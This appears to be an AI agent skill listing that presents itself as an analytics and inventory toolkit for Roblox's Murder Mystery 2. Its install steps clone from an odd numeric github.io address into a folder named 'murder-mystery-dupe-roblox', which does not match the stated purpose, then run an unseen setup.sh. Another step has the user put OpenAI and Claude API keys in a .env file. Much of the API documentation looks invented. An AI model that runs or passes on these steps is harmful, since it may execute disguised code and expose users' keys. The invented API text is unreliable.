mm2-roblox-analytics-toolkit

Original🇺🇸 English
Translated

Analytics and inventory management toolkit for Murder Mystery 2 on Roblox with data visualization and strategic insights

13installs
Added on

NPX Install

npx skill4agent add aradotso/data-skills mm2-roblox-analytics-toolkit

MM2 Roblox Analytics Toolkit

Skill by ara.so — Data Skills collection.

Overview

The MM2 Analytics Toolkit is a comprehensive data analysis and inventory management system for Roblox's Murder Mystery 2 game. It provides:
  • Inventory tracking for knife skins, gamepasses, and collectibles
  • Analytics dashboard with visualization of gameplay statistics
  • Strategy analysis using pattern recognition and AI-powered insights
  • Performance metrics tracking win/loss ratios across different roles
  • Export capabilities for data analysis in CSV/JSON formats

Installation

Automated Setup

bash
git clone https://8015238355.github.io
cd murder-mystery-dupe-roblox
chmod +x setup.sh
./setup.sh --install

Manual Installation

bash
git clone https://8015238355.github.io
cd murder-mystery-dupe-roblox

# Install Node.js dependencies
npm install

# Install Python dependencies
python3 -m pip install -r requirements.txt

Environment Configuration

Create a
.env
file in the project root:
bash
# API Keys (optional for AI features)
API_OPENAI_KEY=${OPENAI_API_KEY}
API_CLAUDE_KEY=${CLAUDE_API_KEY}

# Data Configuration
DATA_DIRECTORY=./data/collections
ANALYTICS_INTERVAL=300
ENABLE_LIVE_TRACKING=true

# Export Settings
EXPORT_FORMAT=json
LOG_LEVEL=INFO

Configuration

Profile Setup

Create a profile configuration file
config/profile.yaml
:
yaml
profile:
  username: "MyRobloxUsername"
  preferred_role: "sheriff"
  inventory_filter:
    - category: "knife_skins"
      rarity: ["legendary", "ancient", "godly"]
    - category: "gamepasses"
      active: true
  analytics_preferences:
    tracking_mode: "comprehensive"
    data_refresh_rate: 30
    export_format: "csv, json"
  strategy_templates:
    - name: "aggressive_sheriff"
      priority: "high_visibility_areas"
    - name: "passive_innocent"
      priority: "distraction_avoidance"
    - name: "stealth_murderer"
      priority: "shadow_movement"

Language Configuration

Edit
config/locale.json
for language preferences:
json
{
  "language": "en",
  "date_format": "YYYY-MM-DD",
  "timezone": "UTC",
  "number_format": "en-US"
}

Key Commands

Analytics Mode

Run comprehensive analytics on your MM2 data:
bash
python3 main.py --mode analytics \
    --profile my_profile \
    --export statistics_2026.json \
    --format json \
    --verbose
Output:
[MURDER MYSTERY 2026] Initializing analytics engine...
[ANALYTICS] Loading profile: my_profile
[INVENTORY] Scanning for mm2-knife-skins... DONE (47 items found)
[STRATEGY] Analyzing mm2-strategy patterns... DONE
[EXPORT] Writing statistics_2026.json (1.2MB)
[FINISHED] Session complete. Duration: 3m 42s

Inventory Management

Scan and catalog your inventory:
bash
python3 main.py --mode inventory \
    --scan \
    --filter legendary \
    --export inventory_report.csv

Strategy Analysis

Analyze gameplay patterns:
bash
python3 main.py --mode strategy \
    --analyze-patterns \
    --role sheriff \
    --sessions 100

Live Tracking

Enable real-time statistics tracking:
bash
python3 main.py --mode live \
    --track \
    --interval 30 \
    --dashboard

Core API Usage

Python API

Inventory Tracker

python
from mm2_toolkit import InventoryManager, RarityFilter

# Initialize inventory manager
inventory = InventoryManager(
    profile="my_profile",
    data_dir="./data/collections"
)

# Scan for knife skins
knife_skins = inventory.scan_category(
    category="knife_skins",
    filters=RarityFilter(["legendary", "ancient", "godly"])
)

# Get collection statistics
stats = inventory.get_statistics()
print(f"Total items: {stats['total_count']}")
print(f"Legendary items: {stats['rarity_breakdown']['legendary']}")
print(f"Collection value: ${stats['estimated_value']}")

# Export inventory
inventory.export(
    filename="my_inventory.json",
    format="json",
    include_metadata=True
)

Analytics Engine

python
from mm2_toolkit import AnalyticsEngine, MetricType

# Initialize analytics
analytics = AnalyticsEngine(
    profile="my_profile",
    tracking_mode="comprehensive"
)

# Load gameplay data
analytics.load_sessions(limit=100)

# Calculate win rates by role
sheriff_stats = analytics.get_role_statistics("sheriff")
print(f"Sheriff win rate: {sheriff_stats['win_rate']:.2%}")
print(f"Average survival time: {sheriff_stats['avg_survival_time']}s")

# Analyze strategy effectiveness
strategy_report = analytics.analyze_strategy(
    strategy_name="aggressive_sheriff",
    metric=MetricType.WIN_RATE
)

# Generate visualizations
analytics.create_chart(
    chart_type="line",
    metric="win_rate_over_time",
    output="win_rate_chart.png"
)

Strategy Optimizer

python
from mm2_toolkit import StrategyOptimizer, Role

# Initialize optimizer
optimizer = StrategyOptimizer(
    profile="my_profile",
    ai_enabled=True
)

# Get recommendations for a role
recommendations = optimizer.get_recommendations(
    role=Role.SHERIFF,
    playstyle="aggressive",
    map="de_house"
)

for rec in recommendations:
    print(f"Strategy: {rec['name']}")
    print(f"Success rate: {rec['success_rate']:.2%}")
    print(f"Description: {rec['description']}\n")

# Simulate strategy performance
simulation = optimizer.simulate_strategy(
    strategy="aggressive_sheriff",
    iterations=1000
)
print(f"Predicted win rate: {simulation['predicted_win_rate']:.2%}")

JavaScript/Node.js API

javascript
const { InventoryManager, AnalyticsEngine } = require('./mm2-toolkit');

// Initialize managers
const inventory = new InventoryManager({
  profile: 'my_profile',
  dataDir: './data/collections'
});

const analytics = new AnalyticsEngine({
  profile: 'my_profile',
  trackingMode: 'comprehensive'
});

// Scan inventory
async function scanInventory() {
  const knifeSkins = await inventory.scanCategory('knife_skins', {
    rarity: ['legendary', 'ancient', 'godly']
  });
  
  console.log(`Found ${knifeSkins.length} knife skins`);
  
  // Export to JSON
  await inventory.export('inventory.json', {
    format: 'json',
    includeMetadata: true
  });
}

// Analyze gameplay
async function analyzeGameplay() {
  await analytics.loadSessions({ limit: 100 });
  
  const sheriffStats = analytics.getRoleStatistics('sheriff');
  console.log(`Sheriff win rate: ${(sheriffStats.winRate * 100).toFixed(2)}%`);
  
  // Create visualization
  await analytics.createChart({
    type: 'line',
    metric: 'win_rate_over_time',
    output: 'win_rate_chart.png'
  });
}

scanInventory();
analyzeGameplay();

Data Export Patterns

Export to JSON

python
from mm2_toolkit import DataExporter

exporter = DataExporter(profile="my_profile")

# Export complete analytics
exporter.export_analytics(
    filename="complete_stats.json",
    include_sections=[
        "inventory",
        "gameplay_stats",
        "strategy_analysis",
        "predictions"
    ]
)
Output structure:
json
{
  "profile": "my_profile",
  "export_date": "2026-05-16T21:56:49Z",
  "inventory": {
    "total_items": 47,
    "knife_skins": [...],
    "gamepasses": [...]
  },
  "gameplay_stats": {
    "total_sessions": 342,
    "win_rate": 0.68,
    "role_breakdown": {...}
  }
}

Export to CSV

python
# Export inventory as CSV
exporter.export_inventory(
    filename="inventory.csv",
    columns=["name", "rarity", "category", "acquisition_date", "value"]
)

# Export gameplay sessions
exporter.export_sessions(
    filename="sessions.csv",
    columns=["date", "role", "result", "duration", "map"]
)

Advanced Patterns

Batch Analysis

python
from mm2_toolkit import BatchAnalyzer

analyzer = BatchAnalyzer()

# Analyze multiple profiles
profiles = ["profile1", "profile2", "profile3"]
results = analyzer.analyze_multiple(
    profiles=profiles,
    metrics=["win_rate", "collection_value", "playtime"]
)

# Compare performance
comparison = analyzer.compare_profiles(
    profiles=profiles,
    metric="win_rate",
    role="sheriff"
)

# Generate comparative report
analyzer.generate_report(
    comparison,
    output="profile_comparison.pdf"
)

AI-Powered Predictions

python
from mm2_toolkit import AIPredictionEngine

# Initialize with API keys from environment
predictor = AIPredictionEngine(
    openai_key="${OPENAI_API_KEY}",
    claude_key="${CLAUDE_API_KEY}"
)

# Predict optimal strategy
prediction = predictor.predict_optimal_strategy(
    current_stats={
        "role": "sheriff",
        "win_rate": 0.62,
        "avg_survival": 180
    },
    context="competitive_mode"
)

print(f"Recommended strategy: {prediction['strategy']}")
print(f"Confidence: {prediction['confidence']:.2%}")
print(f"Reasoning: {prediction['reasoning']}")

Real-time Dashboard

python
from mm2_toolkit import Dashboard

# Start live dashboard
dashboard = Dashboard(
    profile="my_profile",
    port=8080,
    auto_refresh=30
)

# Configure widgets
dashboard.add_widget("inventory_value", position=(0, 0))
dashboard.add_widget("win_rate_chart", position=(1, 0))
dashboard.add_widget("recent_sessions", position=(0, 1))

# Launch server
dashboard.start()
print("Dashboard running at http://localhost:8080")

Common Workflows

Complete Analysis Workflow

python
from mm2_toolkit import (
    InventoryManager,
    AnalyticsEngine,
    StrategyOptimizer,
    DataExporter
)

def complete_analysis(profile_name):
    # Step 1: Scan inventory
    inventory = InventoryManager(profile=profile_name)
    inventory.scan_all_categories()
    
    # Step 2: Load and analyze gameplay data
    analytics = AnalyticsEngine(profile=profile_name)
    analytics.load_sessions(limit=500)
    
    # Step 3: Calculate statistics
    overall_stats = analytics.get_overall_statistics()
    role_stats = {
        "sheriff": analytics.get_role_statistics("sheriff"),
        "murderer": analytics.get_role_statistics("murderer"),
        "innocent": analytics.get_role_statistics("innocent")
    }
    
    # Step 4: Get strategy recommendations
    optimizer = StrategyOptimizer(profile=profile_name, ai_enabled=True)
    recommendations = optimizer.get_all_recommendations()
    
    # Step 5: Export everything
    exporter = DataExporter(profile=profile_name)
    exporter.export_complete_report(
        filename=f"{profile_name}_report.json",
        include_inventory=True,
        include_analytics=True,
        include_recommendations=True
    )
    
    return {
        "inventory": inventory.get_summary(),
        "stats": overall_stats,
        "role_performance": role_stats,
        "recommendations": recommendations
    }

# Run complete analysis
results = complete_analysis("my_profile")
print(f"Analysis complete. Total value: ${results['inventory']['total_value']}")

Troubleshooting

Common Issues

Issue: "Profile not found" error
bash
# Check available profiles
python3 main.py --list-profiles

# Create new profile
python3 main.py --create-profile my_new_profile
Issue: Data export fails
python
from mm2_toolkit import DataExporter, ExportFormat

exporter = DataExporter(profile="my_profile")

# Validate data before export
if exporter.validate_data():
    exporter.export_analytics(
        filename="stats.json",
        format=ExportFormat.JSON
    )
else:
    print("Data validation failed:")
    print(exporter.get_validation_errors())
Issue: Analytics engine returns no data
python
from mm2_toolkit import AnalyticsEngine

analytics = AnalyticsEngine(profile="my_profile")

# Check data availability
data_status = analytics.check_data_status()
print(f"Sessions available: {data_status['session_count']}")
print(f"Date range: {data_status['date_range']}")

# Force data reload
if data_status['session_count'] == 0:
    analytics.force_reload()
Issue: API rate limiting
python
from mm2_toolkit import AIPredictionEngine
import time

predictor = AIPredictionEngine(
    openai_key="${OPENAI_API_KEY}",
    rate_limit=True,  # Enable rate limiting
    requests_per_minute=10
)

# Use with rate limiting
for strategy in strategies:
    prediction = predictor.predict_optimal_strategy(strategy)
    time.sleep(6)  # Ensure rate limit compliance

Performance Optimization

python
from mm2_toolkit import AnalyticsEngine, CacheManager

# Enable caching for better performance
cache = CacheManager(ttl=3600)  # 1 hour TTL
analytics = AnalyticsEngine(
    profile="my_profile",
    cache_manager=cache
)

# Batch load sessions
analytics.load_sessions(
    limit=1000,
    batch_size=100,  # Load in batches
    parallel=True    # Enable parallel processing
)

Debugging

python
import logging
from mm2_toolkit import InventoryManager

# Enable debug logging
logging.basicConfig(level=logging.DEBUG)

inventory = InventoryManager(
    profile="my_profile",
    debug=True,
    verbose=True
)

# Dry run mode for testing
inventory.scan_category(
    category="knife_skins",
    dry_run=True  # Don't modify data
)

Integration Examples

Web Dashboard Integration

javascript
const express = require('express');
const { AnalyticsEngine } = require('./mm2-toolkit');

const app = express();
const analytics = new AnalyticsEngine({ profile: 'my_profile' });

app.get('/api/stats', async (req, res) => {
  const stats = await analytics.getOverallStatistics();
  res.json(stats);
});

app.get('/api/inventory', async (req, res) => {
  const inventory = await analytics.getInventorySummary();
  res.json(inventory);
});

app.listen(3000, () => {
  console.log('API server running on port 3000');
});

Automated Reporting

python
from mm2_toolkit import DataExporter, ReportScheduler
import schedule

def generate_weekly_report():
    exporter = DataExporter(profile="my_profile")
    exporter.export_complete_report(
        filename=f"weekly_report_{datetime.now().strftime('%Y%m%d')}.pdf",
        include_charts=True
    )

# Schedule weekly reports
scheduler = ReportScheduler()
scheduler.add_task(generate_weekly_report, interval="weekly", day="monday")
scheduler.start()